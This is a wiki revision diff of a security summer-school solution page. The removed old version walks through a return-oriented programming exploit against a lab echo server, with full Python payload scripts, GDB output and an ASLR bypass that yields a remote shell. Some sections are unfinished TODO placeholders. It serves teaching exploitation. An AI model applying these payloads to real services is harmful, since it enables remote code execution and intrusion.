User Tools

Site Tools


session:solution:12

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:solution:12 [2015/07/25 01:10]
Razvan Deaconescu [Testing the non-ASLR Payload]
session:solution:12 [2020/07/19 12:49] (current)
Line 1: Line 1:
-====== Session 12 Solutions ======+====== 0x0B. Return Oriented Programming (part 2) (Solutions======
  
-===== Gadget Tut ===== +[[http://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-sol.zip|Solutions archive]]
- +
-TODO +
- +
-===== Echo Service ===== +
- +
-<note> +
-The log file created with [[http://man7.org/linux/man-pages/man1/script.1.html|script]] is {{TODO|this}}You may use ''cat'' over the script file to print it. +
-</note> +
- +
-By going through the ''echo_service.c'' file we see that in the ''echo_service()'' function we use ''read()'' for reading ''4096'' bytes when we only have ''1024'' available for a the ''buf'' buffer. We can use this to create a return-oriented programming (ROP) attack. +
- +
-Let's first consider our steps. +
-  - We will create a payload that overflows the ''buf'' buffer and rewrites the return address of the ''echo_service()'' function triggering the attack (the ROP chain). +
-  - We will update the payload issue the following calls through the ROP chain, as also indicated in the task: +
-    - ''dup2(sockfd, 1);'' +
-    - ''dup2(sockfd, 0);'' +
-    ''%%system("/bin/sh");%%'' +
-  - We will start the server and then we will use ''netcat'' to send the payload to the server to trigger the attack. +
- +
-We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-|   dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   "/bin/sh" address            | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
- +
-In the above figure we will overflow the ''buf'' buffer and overwrite the return address for the ''echo_service()'' function with the first part of the ROP chain: the address of the ''dup2()'' function. Once the ''dup2()'' function returns it will call a ROP gadget that pops two values: the ''dup2()'' function arguments (''4'' is ''sockfd'' and ''0'' and ''1'' are standard input and standard output file descriptors respectively). Then another ''dup2()'' function gets called and then ''%%system("/bin/sh")%%''. Because this needs the address of the ''%%"/bin/sh"%%'' string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well. +
- +
-We can use ''strace'' to check that ''4'' is indeed the socket file descriptor:<code> +
-$ strace --e accept,read ./echo_service 7000 +
-[ Process PID=20460 runs in 32 bit mode. ] +
-read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 +
-accept(3, {sa_family=AF_INET, sin_port=htons(39480), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4 +
-Process 20617 attached +
-[pid 20460] accept(3,  <unfinished ...> +
-[pid 20617] read(4, "anaaremere\n", 4096) = 11 +
-[pid 20617] +++ exited with 0 +++ +
-<... accept resumed> 0xbffff348, [16])  = ? ERESTARTSYS (To be restarted if SA_RESTART is set) +
---- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20617, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- +
-accept(3,  +
-</code> +
-This makes sense since ''0'', ''1'' and ''2'' are the standard file descriptors and ''3'' is used as the listening socket file descriptor. Then ''4'' is the connect socket returned by the ''accept()'' system call (the return value is ''4'') and then used by the ''read()'' system call (the first argument is ''4''). +
- +
-On the client side, we had issued a ''netcat'' command to connect to the server and deliver the ''%%"anaaremere"%%'' string:<code> +
-$ nc localhost 7000 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-anaaremere +
-Got it! Here it is: +
-anaaremere +
-</code> +
- +
-We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks. +
- +
-==== Getting Required Data ==== +
- +
-Let's first use GDB to gather all the required data for creating the payload. We need: +
-  * the offset of the return address for the ''echo_service()'' function against the start of the ''buf'' buffer +
-  * the address of the ''dup2()'' function inside PLT (in order to have an ASLR-independent address) +
-  * the address of the ''system()'' function inside PLT +
-  * the address of the ''%%"/bin/sh"%%'' string +
-  * a ROP gadget that consists of two ''pop'' instructions followed by a ''ret'' +
- +
-The ''make_it_easy()'' function in our source code is used to help us get access to ''dup2()'' and ''system()'' addresses through PLT. +
- +
-We'll use ''pattc'' and ''patto'' in GDB PEDA to find out the offset of the return address against the start of the ''buf'' buffer:<code> +
-$ gdb -q ./echo_service  +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7000 +
-[...] +
-gdb-peda$ pattc 1500 +
-'AAA%AAsAABAA$AAnAACAA... +
-gdb-peda$ c +
-Continuing. +
-[New process 26535] +
- +
-Program received signal SIGSEGV, Segmentation fault. +
-[Switching to process 26535] +
-[----------------------------------registers-----------------------------------] +
-EAX: 0xffffffff  +
-EBX: 0xb7f9f000 --> 0x1a5da8  +
-ECX: 0xffffffbc  +
-EDX: 0x5dd  +
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41256e41 ('An%A'+
-ESP: 0xbffff240 ("BAn$AnnAnCAn... +
-[...] +
-Stopped reason: SIGSEGV +
-0x6e41736e in ?? () +
-gdb-peda$ patto nsAn +
-nsAn found at offset: 1040 +
-</code> +
- +
-The pattern generated through GDB on the server side is fed to the server through the use of the ''netcat'' command<code> +
-$ nc localhost 7000 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-AAA%AAsAABAA$AAnAACAA-... +
-</code> +
-The offset is ''1040'' bytes. +
- +
-We'll use the ''info address'' command in GDB to find out the addresses of ''dup2()'' and ''system()'' inside PLT:<code> +
-gdb-peda$ info address dup2@plt +
-Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-gdb-peda$ info address system@plt +
-Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-</code> +
-The addresses are: +
-  * ''0x80485f0'' for ''dup2()'' +
-  * ''0x8048670'' for ''system()'' +
- +
-We'll use ''searchmem'' to find out the address of the ''%%"/bin/sh"%%'' string inside the standard C library mappings (this only works on non-ASLR enabled systems):<code> +
-gdb-peda$ searchmem /bin/sh +
-Searching for '/bin/sh' in: None ranges +
-Found 1 results, display max 1 items: +
-libc : 0xb7f561a9 ("/bin/sh"+
-</code> +
-The address for ''%%"/bin/sh"%%'' is ''0xb7f561a9''+
- +
-We'll use ''dumprop'' to determine the address of a ROP gadget using two ''pop'' instructions followed by a ''ret'' instruction:<code> +
-gdb-peda$ dumprop +
-Warning: this can be very slow, do not run for large memory range +
-Writing ROP gadgets to file: echo_service-rop.txt ... +
-0x8048906: ret +
-0x804877f: repz ret +
-0x80487ae: ret 0xeac1 +
-0x8048799: leave; ret +
-0x8048b6f: pop ebp; ret +
-0x8048904: dec ecx; ret +
-0x8048e1c: inc ecx; ret +
-0x80485c9: pop ebx; ret +
-0x8048b7f: nop; repz ret +
-0x8048798: ror cl,1; ret +
-0x804877e: add dh,bl; ret +
-0x80487d5: ror cl,cl; ret +
-0x80487fb: leave; repz ret +
-0x8048761: sbb al,0x24; ret +
-0x8048e1b: adc al,0x41; ret +
-0x8048760: mov ebx,[esp]; ret +
-0x8048b7e: nop; nop; repz ret +
-0x8048797: call eax; leave; ret +
-0x80487d4: call edx; leave; ret +
-0x80487fa: add ecx,ecx; repz ret +
-0x8048b6e: pop edi; pop ebp; ret +
-0x804877d: ja 0x8048781; repz ret +
-0x80487b6: jne 0x80487ba; repz ret +
-0x8048796: or bh,bh; ror cl,1; ret +
-0x804875f: nop; mov ebx,[esp]; ret +
---More--(25/147)q +
-</code> +
-The address of the gadget is ''0x8048b6e'': ''pop edi; pop ebp; ret''+
- +
-We'll use these data to construct the payload. +
- +
-==== Creating the ROP Payload (non-ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-no-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, bin_sh) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-$ python payload-no-aslr.py xxd +
-00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-[...] +
-00000410: f085 0408 6e8b 0408 0400 0000 0000 0000  ....n........... +
-00000420: f085 0408 6e8b 0408 0400 0000 0100 0000  ....n........... +
-00000430: 7086 0408 0000 0000 a961 f5b7            p........a.. +
-</code> +
- +
-==== Testing the non-ASLR Payload ==== +
- +
-We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:<code> +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
-$ gdb -q ./echo_service +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7001 +
-[...] +
-gdb-peda$ set follow-fork-mode child +
- +
-gdb-peda$ b echo_service +
-Breakpoint 2 at 0x8048857 +
- +
-gdb-peda$ c +
-[...] +
-Breakpoint 2, 0x08048857 in echo_service () +
-gdb-peda$ pdis +
-Dump of assembler code for function echo_service: +
-   0x0804884e <+0>: push   ebp +
-   0x0804884f <+1>: mov    ebp,esp +
-   0x08048851 <+3>: sub    esp,0x428 +
-=> 0x08048857 <+9>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x0804885f <+17>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048862 <+20>: mov    DWORD PTR [esp],eax +
-   0x08048865 <+23>: call   0x8048630 <dprintf@plt> +
-   0x0804886a <+28>: mov    DWORD PTR [esp+0x4],0x8048bd0 +
-   0x08048872 <+36>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048875 <+39>: mov    DWORD PTR [esp],eax +
-   0x08048878 <+42>: call   0x8048630 <dprintf@plt> +
-   0x0804887d <+47>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x08048885 <+55>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048888 <+58>: mov    DWORD PTR [esp],eax +
-   0x0804888b <+61>: call   0x8048630 <dprintf@plt> +
-   0x08048890 <+66>: mov    DWORD PTR [esp+0x4],0x8048bf0 +
-   0x08048898 <+74>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x0804889b <+77>: mov    DWORD PTR [esp],eax +
-   0x0804889e <+80>: call   0x8048630 <dprintf@plt> +
-   0x080488a3 <+85>: mov    DWORD PTR [esp+0x4],0x8048c30 +
-   0x080488ab <+93>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488ae <+96>: mov    DWORD PTR [esp],eax +
-   0x080488b1 <+99>: call   0x8048630 <dprintf@plt> +
-   0x080488b6 <+104>: mov    DWORD PTR [esp+0x8],0x1000 +
-   0x080488be <+112>: lea    eax,[ebp-0x40c] +
-   0x080488c4 <+118>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488c8 <+122>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488cb <+125>: mov    DWORD PTR [esp],eax +
-   0x080488ce <+128>: call   0x8048600 <read@plt> +
-   0x080488d3 <+133>: mov    DWORD PTR [ebp-0xc],eax +
-   0x080488d6 <+136>: mov    DWORD PTR [esp+0x4],0x8048c7f +
-   0x080488de <+144>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488e1 <+147>: mov    DWORD PTR [esp],eax +
-   0x080488e4 <+150>: call   0x8048630 <dprintf@plt> +
-   0x080488e9 <+155>: mov    eax,DWORD PTR [ebp-0xc] +
-   0x080488ec <+158>: mov    DWORD PTR [esp+0x8],eax +
-   0x080488f0 <+162>: lea    eax,[ebp-0x40c] +
-   0x080488f6 <+168>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488fa <+172>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488fd <+175>: mov    DWORD PTR [esp],eax +
-   0x08048900 <+178>: call   0x80486b0 <write@plt> +
-   0x08048905 <+183>: leave   +
-   0x08048906 <+184>: ret     +
-End of assembler dump. +
-gdb-peda$ b *0x080488d3 +
-Breakpoint 3 at 0x80488d3 +
-gdb-peda$ b *0x08048906 +
-Breakpoint 4 at 0x8048906 +
-gdb-peda$ c +
-[...] +
-Breakpoint 3, 0x080488d3 in echo_service () +
-gdb-peda$ c +
-Continuing. +
-[----------------------------------registers-----------------------------------] +
-EAX: 0xffffffff  +
-EBX: 0xb7f9f000 --> 0x1a5da8  +
-ECX: 0xffffffbc  +
-EDX: 0x43c  +
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41414141 ('AAAA'+
-ESP: 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-EIP: 0x8048906 (<echo_service+184>: ret) +
-EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) +
-[-------------------------------------code-------------------------------------] +
-   0x80488fd <echo_service+175>: mov    DWORD PTR [esp],eax +
-   0x8048900 <echo_service+178>: call   0x80486b0 <write@plt> +
-   0x8048905 <echo_service+183>: leave   +
-=> 0x8048906 <echo_service+184>: ret     +
-   0x8048907 <doprocessing>: push   ebp +
-   0x8048908 <doprocessing+1>: mov    ebp,esp +
-   0x804890a <doprocessing+3>: sub    esp,0x18 +
-   0x804890d <doprocessing+6>: mov    eax,DWORD PTR [ebp+0x8] +
-[------------------------------------stack-------------------------------------] +
-0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xbffff244 --> 0x4  +
-0012| 0xbffff248 --> 0x0  +
-0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xbffff254 --> 0x4  +
-0028| 0xbffff258 --> 0x1  +
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
- +
-Breakpoint 4, 0x08048906 in echo_service () +
- +
-gdb-peda$ context stack 11 +
-[------------------------------------stack-------------------------------------] +
-0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xbffff244 --> 0x4  +
-0012| 0xbffff248 --> 0x0  +
-0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xbffff254 --> 0x4  +
-0028| 0xbffff258 --> 0x1  +
-0032| 0xbffff25c --> 0x8048670 (<system@plt>: jmp    DWORD PTR ds:0x804a030) +
-0036| 0xbffff260 --> 0x0  +
-0040| 0xbffff264 --> 0xb7f561a9 ("/bin/sh"+
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
-gdb-peda$ c +
-Continuing. +
-[New process 17858] +
-process 17858 is executing new program: /bin/dash +
-Warning: +
-Cannot insert breakpoint 3. +
-Cannot access memory at address 0x80488d3 +
-Cannot insert breakpoint 4. +
-Cannot access memory at address 0x8048906 +
-</code> +
- +
-On the client side we run ''netcat'':<code> +
-$ (python payload-no-aslr.py; cat) | nc localhost 7001 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-[...] +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.<code> +
---- on the server side --- +
-$ ./echo_service 7002 +
- +
---- on the client side --- +
-$ (python payload-no-aslr.py; cat) | nc localhost 7002 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-echo_service +
-echo_service-rop.txt +
-echo_service.c +
-payload-aslr-alt.py +
-payload-aslr.py +
-payload-no-aslr.py +
-peda-session-echo_service.txt +
-ps +
-  PID TTY          TIME CMD +
-14269 pts/3    00:00:00 echo_service +
-16413 pts/3    00:00:00 echo_service <defunct> +
-18249 pts/3    00:00:00 bash +
-21341 pts/3    00:00:00 echo_service +
-21393 pts/3    00:00:00 echo_service +
-21394 pts/3    00:00:00 sh +
-21395 pts/3    00:00:00 sh +
-21470 pts/3    00:00:00 ps +
-26088 pts/3    00:00:00 echo_service +
-26535 pts/3    00:00:00 echo_service <defunct> +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP. +
- +
-Let's try the same thing on an ASLR-enabled system:<code> +
---- server side --- +
- +
-$ ldd echo_service +
- linux-gate.so.1 (0xf7772000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf758e000) +
- /lib/ld-linux.so.2 (0xf7775000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xf778a000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a6000) +
- /lib/ld-linux.so.2 (0xf778d000) +
-$ ./echo_service 7004 +
- +
---- client side --- +
- +
-$ (python payload-no-aslr.py; cat) | nc localhost 7004 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-$ dmesg | tail -1 +
-[425842.224264] echo_service[24545]: segfault at 0 ip           (null) sp 00000000ffece254 error 14 in echo_service[8048000+1000] +
-</code> +
- +
-It doesn't work due to the ''%%"/bin/sh%%'' string being placed differently into memory. We need something different. We need a way to store a ''%%"/bin/sh"%%'' string in a place that isn't influenced by ASLR. We show that in the next section. +
- +
-==== Idea for Bypassing ASLR ==== +
- +
-The random placement of the ''%%"/bin/sh"%%'' string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address. +
- +
-Our idea is to use a ''read()'' call on the socket to read the ''%%"/bin/sh"%%'' string into a fixed address area. We will then use that address for the ''system()'' call. We can call ''read()'' as part of the ROP chain. We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-|   dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   read() address               | +
-+--------------------------------+ +
-|   pop_pop_pop_ret gadget addr  | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
-In the above figure we add the ''read()'' call using three parameters: +
-  - the socket file descriptor (''4''+
-  - the fixed writable address where the ''%%"/bin/sh"%%'' string we provide will be stored +
-  - the length of the message we will deliver (''%%"/bin/sh\0"%%'': we place a NUL-byte at the end) +
- +
-We need an additional gadget that pops 3 times and the uses a ''ret'' instruction in order to pop the tree parameters of ''read()''+
- +
-We need the following in order to create the payload that gets us to the above stack configuration: +
-  - the address of the ''read()'' address in PLT +
-  - the address of a ROP gadget that uses 3 ''pop'' instructions followed by a ''ret'' instruction +
-  - the fixed writable address we will use to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket +
- +
-For the first two addresses we use GDB:<code> +
-</code> +
-The address of ''read()'' in PLT is ''0xTODO'' The address of the ROP gadget is ''0xTODO''+
- +
-For the fixed writable address we inspect the executable using ''readelf'':<code> +
-</code> +
-We see that we have access to the ''.data'' section with a length of ''8'' bytes, exactly what we need. We'll use that address (''0xTODO'') as a fixed writable address where to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket. +
- +
-This is all the information we need to construct the payload. +
- +
-==== Creating the ROP Payload (ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24] .data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-TODO xxd +
-</code> +
- +
-==== Testing the ASLR Payload ==== +
- +
-We run the payload on an ASLR-enabled system:<code> +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.<code> +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP on an ASLR-enabled system +
- +
-As you can see, we rely on the ''read()'' call inside the ''echo_service()'' function to return before we feed the ''%%"/bin/sh"%%'' string into our ROP-induced ''read()'' call. That's why we provide the ''%%"/bin/sh"%%'' string by hand. We could do it into one command sleep by placing a ''sleep'' command before the printing of the payload and the providing of the ''%%"/bin/sh"%%'' string<code> +
-</code> +
- +
-==== Alternative ASLR Payload and Testing ==== +
- +
-If we wanted to provide the ''%%"/bin/sh"%%'' string in the payload, we would need to update the payload to take care of the fact that the ''read()'' call inside the ''echo_service()'' function expects ''4096'' bytes before returning. We could feed it the entire ''4096'' bytes by adding an extra padding to the payload and then append the ''%%"/bin/sh\0"%%'' string to the payload. The appended string will be read by our ROP-induced ''read()'' call. +
- +
-The updated payload file will be:<file Python payload-aslr-alt.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24] .data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"A" +
- +
-# Send "/bin/sh\0" string to ROP-infused read() call. +
-payload += "/bin/sh\0" +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-As said we've added additional payload to fill the ''4096'' bytes to complete the ''read()'' call inside the ''echo_service()'' function and then we feed the ''%%"/bin/sh\0"%%'' string. +
- +
-However, the moment we test the program we see it fails:<code> +
-</code> +
- +
-We use ''strace'' for inspection and see that ''execve()'' returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the ''read()'' call, we overwrite the pointer. The solution is to add padding using NUL-bytes (''\0''). In this ways, the environment pointer will be ''NULL'' and the ''execve()'' call will work OK. +
- +
-We update the extra padding line in the payload:<code python> +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"\0" +
-</code> +
- +
-We test the program again and we see it works<code> +
-</code> +
-A shell is created through a ROP-based attack. Work complete!+
session/solution/12.1437775812.txt.gz · Last modified: 2015/07/25 01:10 by Razvan Deaconescu